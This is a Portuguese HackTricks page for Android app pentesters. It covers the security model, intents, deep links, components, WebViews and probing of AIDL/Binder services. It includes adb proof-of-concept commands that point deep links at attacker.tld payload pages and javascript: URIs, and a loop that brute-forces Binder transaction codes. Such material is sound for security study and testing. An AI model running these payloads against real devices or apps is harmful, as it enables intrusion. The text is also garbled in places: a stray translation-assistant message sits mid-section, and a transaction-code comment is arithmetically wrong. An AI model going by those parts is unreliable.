Fundamentos de Aplicações Android

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Modelo de Segurança do Android

Existem duas camadas:

  • O OS, que mantém as aplicações instaladas isoladas umas das outras.
  • A própria aplicação, que permite aos desenvolvedores expor certas funcionalidades e configurar capacidades da aplicação.

Separação de UID

Cada aplicação recebe um User ID específico. Isso é feito durante a instalação do app para que o app só possa interagir com arquivos pertencentes ao seu User ID ou arquivos compartilhados. Portanto, somente o próprio app, certos componentes do OS e o usuário root podem acessar os dados do app.

Compartilhamento de UID

Duas aplicações podem ser configuradas para usar o mesmo UID. Isso pode ser útil para compartilhar informação, mas se uma delas for comprometida, os dados de ambas serão comprometidos. Por isso esse comportamento é desencorajado.
Para compartilhar o mesmo UID, as aplicações devem definir o mesmo android:sharedUserId nos seus manifests.

Sandboxing

O Android Application Sandbox permite executar cada aplicação como um processo separado sob um User ID separado. Cada processo tem sua própria máquina virtual, então o código de um app roda isolado dos outros apps.
A partir do Android 5.0(L) o SELinux é aplicado. Basicamente, o SELinux negou todas as interações entre processos e depois criou políticas para permitir apenas as interações esperadas entre eles.

Permissões

Quando você instala um app e ele solicita permissões, o app está pedindo as permissões configuradas nos elementos uses-permission no arquivo AndroidManifest.xml. O elemento uses-permission indica o nome da permissão solicitada dentro do atributo name. Ele também tem o atributo maxSdkVersion que faz com que a permissão pare de ser solicitada em versões superiores à especificada.
Note que aplicações android não precisam solicitar todas as permissões no início; elas também podem solicitar permissões dinamicamente, mas todas as permissões devem ser declaradas no manifest.

Quando um app expõe funcionalidade, ele pode limitar o acesso apenas a apps que tenham uma permissão especificada.
Um elemento de permissão tem três atributos:

  • O name da permissão
  • O atributo permission-group, que permite agrupar permissões relacionadas.
  • O protection-level que indica como as permissões são concedidas. Há quatro tipos:
  • Normal: Usada quando não há ameaças conhecidas ao app. O usuário não é obrigado a aprová-la.
  • Dangerous: Indica que a permissão concede ao aplicativo solicitante algum acesso elevado. Os usuários são solicitados a aprová-las.
  • Signature: Somente apps assinados pelo mesmo certificado que o que exporta o componente podem receber a permissão. Este é o tipo de proteção mais forte.
  • SignatureOrSystem: Somente apps assinados pelo mesmo certificado que o que exporta o componente ou apps executando com acesso de nível de sistema podem receber permissões.

Aplicações Pré-instaladas

Esses apps geralmente são encontrados nos diretórios /system/app ou /system/priv-app e alguns deles são otimizados (você pode não encontrar nem o ficheiro classes.dex). Essas aplicações valem a pena ser analisadas porque às vezes estão rodando com permissões demais (como root).

  • Os que vêm com a AOSP (Android OpenSource Project) ROM
  • Adicionados pelo fabricante do dispositivo
  • Adicionados pela operadora (se adquirido através dela)

Rooting

Para obter acesso root em um dispositivo Android físico geralmente é preciso explorar 1 ou 2 vulnerabilidades que costumam ser específicas para o dispositivo e a versão.
Quando o exploit funciona, geralmente o binário Linux su é copiado para um local especificado na variável PATH do usuário, como /system/xbin.

Uma vez que o binário su está configurado, outro app Android é usado para interagir com o binário su e processar pedidos de acesso root, como Superuser e SuperSU (disponíveis na Google Play store).

Caution

Note que o processo de rooting é muito perigoso e pode danificar seriamente o dispositivo

ROMs

É possível substituir o OS instalando um firmware customizado. Fazendo isso é possível estender a utilidade de um dispositivo antigo, contornar restrições de software ou obter acesso ao código Android mais recente.
OmniROM e LineageOS são dois dos firmwares mais populares.

Note que nem sempre é necessário rootar o dispositivo para instalar um firmware customizado. Alguns fabricantes permitem o desbloqueio dos seus bootloaders de forma bem documentada e segura.

Implicações

Uma vez que um dispositivo está com root, qualquer app poderia solicitar acesso como root. Se um aplicativo malicioso obtiver isso, terá acesso a quase tudo e poderá danificar o telefone.

Android Application Fundamentals

  • O formato de aplicações Android é referido como APK file format. É essencialmente um arquivo ZIP (renomeando a extensão para .zip, o conteúdo pode ser extraído e visualizado).
  • APK Contents (Not exhaustive)
  • AndroidManifest.xml
  • resources.arsc/strings.xml
  • resources.arsc: contém recursos pré-compilados, como XML binário.
  • res/xml/files_paths.xml
  • META-INF/
  • Aqui é onde o Certificado está localizado!
  • classes.dex
  • Contém bytecode Dalvik, representando o código Java (ou Kotlin) compilado que a aplicação executa por padrão.
  • lib/
  • Abriga bibliotecas nativas, segregadas por arquitetura de CPU em subdiretórios.
  • armeabi: código para processadores baseados em ARM
  • armeabi-v7a: código para processadores ARMv7 e superiores
  • x86: código para processadores X86
  • mips: código apenas para processadores MIPS
  • assets/
  • Armazena arquivos diversos necessários ao app, potencialmente incluindo bibliotecas nativas adicionais ou arquivos DEX, às vezes usados por autores de malware para ocultar código adicional.
  • res/
  • Contém recursos que não são compilados em resources.arsc

Dalvik & Smali

No desenvolvimento Android, Java or Kotlin é usado para criar apps. Em vez de usar a JVM como nos apps desktop, o Android compila esse código em bytecode Dalvik Executable (DEX). Antes, a máquina virtual Dalvik tratava esse bytecode, mas agora o Android Runtime (ART) assume isso em versões mais recentes do Android.

Para engenharia reversa, Smali torna-se crucial. É a versão legível por humanos do bytecode DEX, atuando como uma linguagem assembly ao traduzir código-fonte em instruções de bytecode. Smali e baksmali referem-se às ferramentas de montagem e desmontagem nesse contexto.

Intents

Intents são o meio principal pelo qual apps Android se comunicam entre seus componentes ou com outros apps. Esses objetos de mensagem também podem transportar dados entre apps ou componentes, semelhante a como requisições GET/POST são usadas em comunicações HTTP.

Portanto, um Intent é basicamente uma mensagem que é passada entre componentes. Intents podem ser direcionados a componentes ou apps específicos, ou podem ser enviados sem um destinatário específico.
De forma simples, um Intent pode ser usado para:

  • Iniciar uma Activity, tipicamente abrindo uma interface de usuário para um app
  • Como broadcasts para informar o sistema e apps sobre mudanças
  • Para iniciar, parar e comunicar com um serviço em background
  • Para acessar dados via ContentProviders
  • Como callbacks para tratar eventos

Se vulneráveis, Intents podem ser usados para executar uma variedade de ataques.

Intent-Filter

Intent Filters definem como uma activity, service, ou Broadcast Receiver pode interagir com diferentes tipos de Intents. Essencialmente, eles descrevem as capacidades desses componentes, como quais ações podem executar ou os tipos de broadcasts que podem processar. O local principal para declarar esses filtros é dentro do arquivo AndroidManifest.xml, embora para Broadcast Receivers também seja possível declará-los por código.

Intent Filters são compostos por categorias, ações e filtros de dados, com a possibilidade de incluir metadados adicionais. Essa configuração permite que componentes tratem Intents específicos que correspondam aos critérios declarados.

Um aspecto crítico dos componentes Android (activities/services/content providers/broadcast receivers) é sua visibilidade ou status público. Um componente é considerado público e pode interagir com outros apps se estiver exported com valor true ou se um Intent Filter for declarado para ele no manifest. No entanto, existe uma forma de os desenvolvedores manterem esses componentes privados, garantindo que não interajam com outros apps inadvertidamente. Isso é conseguido definindo o atributo exported como false em suas definições no manifest.

Além disso, os desenvolvedores têm a opção de proteger ainda mais o acesso a esses componentes exigindo permissões específicas. O atributo permission pode ser definido para impor que somente apps com a permissão designada possam acessar o componente, adicionando uma camada extra de segurança e controle sobre quem pode interagir com ele.

<activity android:name=".MyActivity" android:exported="false">
<!-- Intent filters go here -->
</activity>

Implicit Intents

Intents são criadas programaticamente usando um construtor Intent:

Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));

A Action do intent declarado anteriormente é ACTION_SEND e o Extra é um mailto Uri (o Extra é a informação adicional que o intent está esperando).

Este intent deve ser declarado no manifest como no exemplo a seguir:

<activity android:name="ShareActivity">
<intent-filter>
<action android:name="android.intent.action.SEND" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>

Um intent-filter precisa corresponder às action, data e category para receber uma mensagem.

O processo de “Intent resolution” determina qual app deve receber cada mensagem. Esse processo considera o priority attribute, que pode ser definido na intent-filter declaration, e the one with the higher priority will be selected. Essa prioridade pode ser definida entre -1000 e 1000 e as aplicações podem usar o valor SYSTEM_HIGH_PRIORITY. Se surgir um conflict, uma janela “choser” aparece para que o user can decide.

Intents explícitos

Intent downloadIntent = new (this, DownloadService.class):

Em outras aplicações, para acessar o intent declarado anteriormente, você pode usar:

Intent intent = new Intent();
intent.setClassName("com.other.app", "com.other.app.ServiceName");
context.startService(intent);

Pending Intents

These allow other applications to take actions on behalf of your application, using your app’s identity and permissions. Constructing a Pending Intent it should be specified an intent and the action to perform. If the declared intent isn’t Explicit (doesn’t declare which intent can call it) a malicious application could perform the declared action on behalf of the victim app. Moreover, if an action isn’t specified, the malicious app will be able to do any action on behalf the victim.

Broadcast Intents

Unlike the previous intents, which are only received by one app, broadcast intents can be received by multiple apps. However, from API version 14, it’s possible to specify the app that should receive the message using Intent.set Package.

Alternatively it’s also possible to specify a permission when sending the broadcast. The receiver app will need to have that permission.

There are two types of Broadcasts: Normal (asynchronous) and Ordered (synchronous). The order is base on the configured priority within the receiver element. Each app can process, relay or drop the Broadcast.

It’s possible to send a broadcast using the function sendBroadcast(intent, receiverPermission) from the Context class.
You could also use the function sendBroadcast from the LocalBroadCastManager ensures the message never leaves the app. Using this you won’t even need to export a receiver component.

Sticky Broadcasts

This kind of Broadcasts can be accessed long after they were sent.
These were deprecated in API level 21 and it’s recommended to not use them.
They allow any application to sniff the data, but also to modify it.

If you find functions containing the word “sticky” like sendStickyBroadcast or sendStickyBroadcastAsUser, check the impact and try to remove them.

In Android applications, deep links are used to initiate an action (Intent) directly through a URL. This is done by declaring a specific URL scheme within an activity. When an Android device tries to access a URL with this scheme, the specified activity within the application is launched.

The scheme must be declarated in the AndroidManifest.xml file:

[...]
<activity android:name=".MyActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="examplescheme" />
</intent-filter>
[...]

O esquema do exemplo anterior é examplescheme:// (observe também o category BROWSABLE)

Depois, no campo data, você pode especificar o host e o path:

<data android:scheme="examplescheme"
android:host="example"
/>

Para acessá-lo via web, é possível definir um link como:

<a href="examplescheme://example/something">click here</a>
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>

Para encontrar o código que será executado no App, vá para a activity chamada pelo deeplink e procure a função onNewIntent.

Aprenda como call deep links without using HTML pages.

  • Entry point discovery: Activities exportadas que declaram <action android:name="android.intent.action.VIEW" /> + <category android:name="android.intent.category.BROWSABLE" /> são acessíveis remotamente via URIs craftadas (custom schemes ou http/https App Links). Priorize caminhos que contenham palavras-chave login/reset/payment/wallet/admin.
  • Validation bypass heuristics: cheques de host fracos como endsWith(), contains(), permissive regexes, ou substring allowlists geralmente podem ser contornados com subdomínios controlados pelo atacante, truques de prefixo/sufixo e dupla codificação URL/UTF‑8.
  • WebView sinks: se o handler encaminhar a URI recebida ou os query params para WebView.loadUrl(...), você pode forçar o app a renderizar conteúdo arbitrário do atacante. Se a validação do scheme for fraca, tente payloads javascript: assim como URLs externas https://.
  • adb PoC templates (implicit vs explicit):
# Generic implicit VIEW (custom scheme or App Link)
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Explicitly target a specific Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myapp://host/path?redirect=https://attacker.tld"

# Try javascript: when scheme filters are lax
adb shell am start -a android.intent.action.VIEW \
-d "myapp://host/web?url=javascript:alert(1)"
  • Operational tips: capture multiple payload variants (external URL vs javascript:) e reproduza-as rapidamente contra um dispositivo/emulador para distinguir problemas reais (open-redirect/auth-bypass/WebView URL injection) de ruído de static-analysis.
  • Automation: Deep-C automatiza deeplink hunting ao decompilar o APK (apktool + dex2jar + jadx), enumerar exported + browsable activities, correlacionar validação fraca e fluxos WebView.loadUrl, e gerar adb PoCs prontos para execução (opcionalmente auto-executados com --exec).

AIDL - Android Interface Definition Language

O Android Interface Definition Language (AIDL) foi criado para facilitar a comunicação entre cliente e service em aplicações Android através de interprocess communication (IPC). Como o acesso direto à memória de outro processo não é permitido no Android, o AIDL simplifica o processo serializando objetos em um formato entendido pelo sistema operacional, facilitando assim a comunicação entre processos distintos.

Key Concepts

  • Bound Services: Esses services utilizam AIDL para IPC, permitindo que activities ou components façam bind a um service, realizem requests e recebam responses. O método onBind na classe do service é crítico para iniciar a interação, sendo uma área vital para revisão de segurança em busca de vulnerabilidades.

  • Messenger: Operando como um bound service, Messenger facilita IPC com foco no processamento de dados através do método onBind. É essencial inspecionar esse método de perto em busca de qualquer tratamento inseguro de dados ou execução de funções sensíveis.

  • Binder: Embora o uso direto da classe Binder seja menos comum devido à abstração do AIDL, é útil entender que Binder atua como um driver em nível de kernel que facilita a transferência de dados entre os espaços de memória de diferentes processos. Para maior compreensão, há um recurso disponível em https://www.youtube.com/watch?v=O-UHvFjxwZ8.

Components

These include: Activities, Services, Broadcast Receivers and Providers.

Launcher Activity and other activities

In Android apps, activities are like screens, showing different parts of the app’s user interface. An app can have many activities, each one presenting a unique screen to the user.

The launcher activity is the main gateway to an app, launched when you tap the app’s icon. It’s defined in the app’s manifest file with specific MAIN and LAUNCHER intents:

<activity android:name=".LauncherActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>

Nem todos os apps precisam de uma launcher activity, especialmente aqueles sem interface de usuário, como serviços em segundo plano.

Activities podem ser disponibilizadas para outros apps ou processos marcando-as como “exported” no manifest. Essa configuração permite que outros apps iniciem essa activity:

<service android:name=".ExampleExportedService" android:exported="true"/>

No entanto, acessar uma activity de outro app nem sempre é um risco de segurança. A preocupação surge se dados sensíveis estiverem sendo compartilhados de forma inadequada, o que poderia levar a information leaks.

O ciclo de vida de uma activity começa com o método onCreate, configurando a UI e preparando a activity para interação com o usuário.

Subclasse de Application

No desenvolvimento Android, um app tem a opção de criar uma subclasse da classe Application, embora não seja obrigatório. Quando tal subclasse é definida, ela se torna a primeira classe a ser instanciada dentro do app. O método attachBaseContext, se implementado nessa subclasse, é executado antes do método onCreate. Essa configuração permite inicialização precoce antes do restante da aplicação iniciar.

public class MyApp extends Application {
@Override
protected void attachBaseContext(Context base) {
super.attachBaseContext(base);
// Initialization code here
}

@Override
public void onCreate() {
super.onCreate();
// More initialization code
}
}

Serviços

Services são agentes em segundo plano capazes de executar tarefas sem uma interface de usuário. Essas tarefas podem continuar em execução mesmo quando os usuários alternam para outros aplicativos, tornando os serviços cruciais para operações de longa duração.

Os serviços são versáteis; podem ser iniciados de várias maneiras, sendo Intents o método principal para lançá-los como ponto de entrada de um aplicativo. Uma vez que um serviço é iniciado usando o método startService, seu método onStart entra em ação e continua em execução até que o método stopService seja explicitamente chamado. Alternativamente, se o papel de um serviço depender de uma conexão ativa com o cliente, o método bindService é usado para vincular o cliente ao serviço, acionando o método onBind para passagem de dados.

Uma aplicação interessante de serviços inclui reprodução de música em segundo plano ou obtenção de dados de rede sem prejudicar a interação do usuário com um aplicativo. Além disso, serviços podem ser tornados acessíveis a outros processos no mesmo dispositivo através da exportação. Isso não é o comportamento padrão e requer configuração explícita no arquivo Android Manifest:

<service android:name=".ExampleExportedService" android:exported="true"/>

Receptores de Broadcast

Receptores de Broadcast atuam como listeners em um sistema de mensagens, permitindo que múltiplos aplicativos respondam às mesmas mensagens do sistema. Um app pode registrar um receptor de duas maneiras principais: através do Manifest do app ou dinamicamente dentro do código do app via a API registerReceiver. No Manifest, os broadcasts são filtrados por permissões, enquanto receptores registrados dinamicamente também podem especificar permissões no momento do registro.

Filtros de Intent são cruciais em ambos os métodos de registro, determinando quais broadcasts acionam o receptor. Assim que um broadcast correspondente é enviado, o método onReceive do receptor é invocado, permitindo que o app reaja apropriadamente, por exemplo ajustando o comportamento em resposta a um aviso de bateria baixa.

Broadcasts podem ser assíncronos, alcançando todos os receptores sem ordem, ou síncronos, onde os receptores recebem o broadcast com base em prioridades definidas. No entanto, é importante notar o risco de segurança potencial, pois qualquer app pode atribuir prioridade a si próprio para interceptar um broadcast.

Para entender a funcionalidade de um receptor, procure o método onReceive dentro da sua classe. O código desse método pode manipular o Intent recebido, enfatizando a necessidade de validação de dados pelos receptores, especialmente em Ordered Broadcasts, que podem modificar ou descartar o Intent.

Provedores de Conteúdo

Provedores de Conteúdo são essenciais para compartilhar dados estruturados entre apps, enfatizando a importância de implementar permissões para garantir a segurança dos dados. Eles permitem que apps acessem dados de várias fontes, incluindo bancos de dados, sistemas de arquivos ou a web. Permissões específicas, como readPermission e writePermission, são cruciais para controlar o acesso. Além disso, acesso temporário pode ser concedido através das configurações grantUriPermission no manifest do app, utilizando atributos como path, pathPrefix e pathPattern para controle de acesso detalhado.

A validação de entrada é fundamental para prevenir vulnerabilidades, como injeção de SQL. Provedores de Conteúdo suportam operações básicas: insert(), update(), delete() e query(), facilitando a manipulação e o compartilhamento de dados entre aplicações.

Semântica de permissões e armadilhas (Content Providers)

  • Se um provider estiver exportado, você deve declarar explicitamente tanto readPermission quanto writePermission. Quando writePermission é omitido o padrão é null, significando que qualquer app pode tentar insert/update/delete se esses métodos estiverem implementados pelo provider.
  • Nunca concatene projection, selection, selectionArgs ou sortOrder não confiáveis em SQL bruto. Use listas brancas e binding de parâmetros (e.g., SQLiteQueryBuilder com um projection map) e templates WHERE fixos.
  • Prefira android:exported="false" a menos que o provider precise ser público. Para compartilhamento seletivo, use grantUriPermissions com path/pathPrefix/pathPattern.

FileProvider, um Content Provider especializado, foca em compartilhar arquivos de forma segura. Ele é definido no manifest do app com atributos específicos para controlar o acesso a pastas, denotados por android:exported e android:resource apontando para configurações de pastas. Deve-se ter cautela ao compartilhar diretórios para evitar expor dados sensíveis inadvertidamente.

Exemplo de declaração no manifest para FileProvider:

<provider android:name="androidx.core.content.FileProvider"
android:authorities="com.example.myapp.fileprovider"
android:grantUriPermissions="true"
android:exported="false">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS"
android:resource="@xml/filepaths" />
</provider>

E um exemplo de especificação de pastas compartilhadas em filepaths.xml:

<paths>
<files-path path="images/" name="myimages" />
</paths>

For further information check:

WebViews

WebViews são como mini navegadores web dentro de apps Android, carregando conteúdo da web ou de arquivos locais. Enfrentam riscos semelhantes aos navegadores comuns, mas existem formas de reduzir esses riscos por meio de configurações específicas.

Android oferece dois tipos principais de WebView:

  • WebViewClient é ótimo para HTML básico, mas não suporta a função JavaScript alert, o que afeta como ataques XSS podem ser testados.
  • WebChromeClient se comporta mais como a experiência completa do navegador Chrome.

Um ponto chave é que WebViews não compartilham cookies com o navegador principal do dispositivo.

Para carregar conteúdo, métodos como loadUrl, loadData e loadDataWithBaseURL estão disponíveis. É crucial garantir que essas URLs ou arquivos sejam seguros. As configurações de segurança podem ser gerenciadas pela classe WebSettings. Por exemplo, desabilitar JavaScript com setJavaScriptEnabled(false) pode impedir ataques XSS.

A “Bridge” de JavaScript permite que objetos Java interajam com JavaScript, exigindo que métodos sejam anotados com @JavascriptInterface para segurança a partir do Android 4.2.

Permitir acesso a conteúdo (setAllowContentAccess(true)) permite que WebViews acessem Content Providers, o que pode ser um risco a menos que as URLs de conteúdo sejam verificadas como seguras.

Para controlar o acesso a arquivos:

  • Desabilitar acesso a arquivos (setAllowFileAccess(false)) limita o acesso ao sistema de arquivos, com exceções para certos assets, garantindo que sejam usados apenas para conteúdo não sensível.

Outros Componentes de Aplicação e Gerenciamento de Dispositivos Móveis

Assinatura Digital de Aplicações

  • Assinatura digital é obrigatória para apps Android, garantindo que sejam autenticamente criados antes da instalação. Esse processo usa um certificado para identificação do app e deve ser verificado pelo gerenciador de pacotes do dispositivo ao instalar. Apps podem ser autoassinados ou certificados por uma CA externa, protegendo contra acesso não autorizado e garantindo que o app não seja adulterado durante a entrega ao dispositivo.

Verificação de Apps para Segurança Aprimorada

  • A partir do Android 4.2, um recurso chamado Verify Apps permite que usuários tenham apps verificados quanto à segurança antes da instalação. Esse processo de verificação pode avisar os usuários sobre apps potencialmente prejudiciais, ou até impedir a instalação de apps particularmente maliciosos, aumentando a segurança do usuário.

Gerenciamento de Dispositivos Móveis (MDM)

  • As soluções MDM fornecem supervisão e segurança para dispositivos móveis por meio do Device Administration API. Elas exigem a instalação de um app Android para gerenciar e proteger efetivamente os dispositivos móveis. Funções-chave incluem impor políticas de senha, exigir criptografia de armazenamento e permitir wipe remoto de dados, garantindo controle e segurança abrangentes sobre os dispositivos móveis.
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
ComponentName adminComponent = new ComponentName(context, AdminReceiver.class);

if (dpm.isAdminActive(adminComponent)) {
// Set minimum password length
dpm.setPasswordMinimumLength(adminComponent, 8);
}

Enumerando e Explorando AIDL / Binder Services

Android Binder IPC expõe muitos serviços do sistema e do fabricante. Esses serviços se tornam uma superfície de ataque quando são exportados sem uma verificação adequada de permissões (a camada AIDL em si não realiza nenhum controle de acesso).

1. Descobrir serviços em execução

# from an adb shell (USB or wireless)
service list               # simple one-liner
am list services           # identical output, ActivityManager wrapper

Por favor, envie o conteúdo do arquivo src/mobile-pentesting/android-app-pentesting/android-applications-basics.md que você quer que eu traduza. Vou retornar a tradução em Português mantendo exatamente a mesma sintaxe Markdown/HTML e as regras que você especificou (sem traduzir código, nomes de técnicas, links, paths, tags, etc.).

145  mtkconnmetrics: [com.mediatek.net.connectivity.IMtkIpConnectivityMetrics]
146  wifi             : [android.net.wifi.IWifiManager]
  • O índice (primeira coluna) é atribuído em tempo de execução – não confie nele entre reinicializações.
  • O Binder name (por exemplo mtkconnmetrics) é o que será passado para service call.
  • O valor dentro dos colchetes é a interface AIDL totalmente qualificada a partir da qual o stub foi gerado.

2. Obter o descritor da interface (PING)

Todo stub do Binder implementa automaticamente o código de transação 0x5f4e5446 (1598968902 decimal, ASCII “_NTF”).

# "ping" the service
service call mtkconnmetrics 1    # 1 == decimal 1598968902 mod 2^32

Uma resposta válida retorna o nome da interface codificado como uma string UTF-16 dentro de um Parcel.

3. Chamando uma transação

Syntax: service call <name> <code> [type value ...]

Especificadores comuns de argumentos:

  • i32 <int> – valor de 32 bits com sinal
  • i64 <long> – valor de 64 bits com sinal
  • s16 <string> – string UTF-16 (Android 13+ usa utf16)

Exemplo – iniciar monitoramento de rede com uid 1 em um aparelho MediaTek:

service call mtkconnmetrics 8 i32 1

4. Brute-forcing unknown methods

Quando os arquivos de cabeçalho não estiverem disponíveis, você pode iterar o código até que o erro mude de:

Result: Parcel(00000000 00000000)  # "Not a data message"

para uma resposta normal Parcel ou SecurityException.

for i in $(seq 1 50); do
printf "[+] %2d -> " $i
service call mtkconnmetrics $i 2>/dev/null | head -1
done

Se o serviço foi compilado com proguard o mapeamento precisa ser adivinhado – veja o próximo passo.

5. Mapeando códigos ↔ métodos via onTransact()

Descompile o jar/odex que implementa a interface (para AOSP stubs verifique /system/framework; OEMs frequentemente usam /system_ext ou /vendor). Procure por Stub.onTransact() – ele contém um enorme switch(transactionCode):

case TRANSACTION_updateCtaAppStatus:      // 5
data.enforceInterface(DESCRIPTOR);
int appId  = data.readInt();
boolean ok = data.readInt() != 0;
updateCtaAppStatus(appId, ok);
reply.writeNoException();
return true;

Agora o protótipo e os tipos de parâmetros estão perfeitamente claros.

6. Identificando verificações de permissão ausentes

A implementação (frequentemente uma classe interna Impl) é responsável pela autorização:

private void updateCtaAppStatus(int uid, boolean status) {
if (!isPermissionAllowed()) {
throw new SecurityException("uid " + uid + " rejected");
}
/* privileged code */
}

A ausência dessa lógica ou de uma lista branca de UIDs privilegiados (e.g. uid == 1000 /*system*/) é um indicador de vulnerabilidade.

Case study – MediaTek startMonitorProcessWithUid() (transaction 8) executa completamente uma mensagem Netlink sem qualquer controle de permissão, permitindo que um app não privilegiado interaja com o módulo Netfilter do kernel e inunde o log do sistema.

7. Automatizando a avaliação

Ferramentas / scripts que aceleram o reconhecimento do Binder:

  • binderfs – expõe /dev/binderfs com nós por serviço
  • binder-scanner.py – percorre a tabela binder e imprime ACLs
  • Atalho Frida: Java.perform(()=>console.log(android.os.ServiceManager.listServices().toArray()))

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks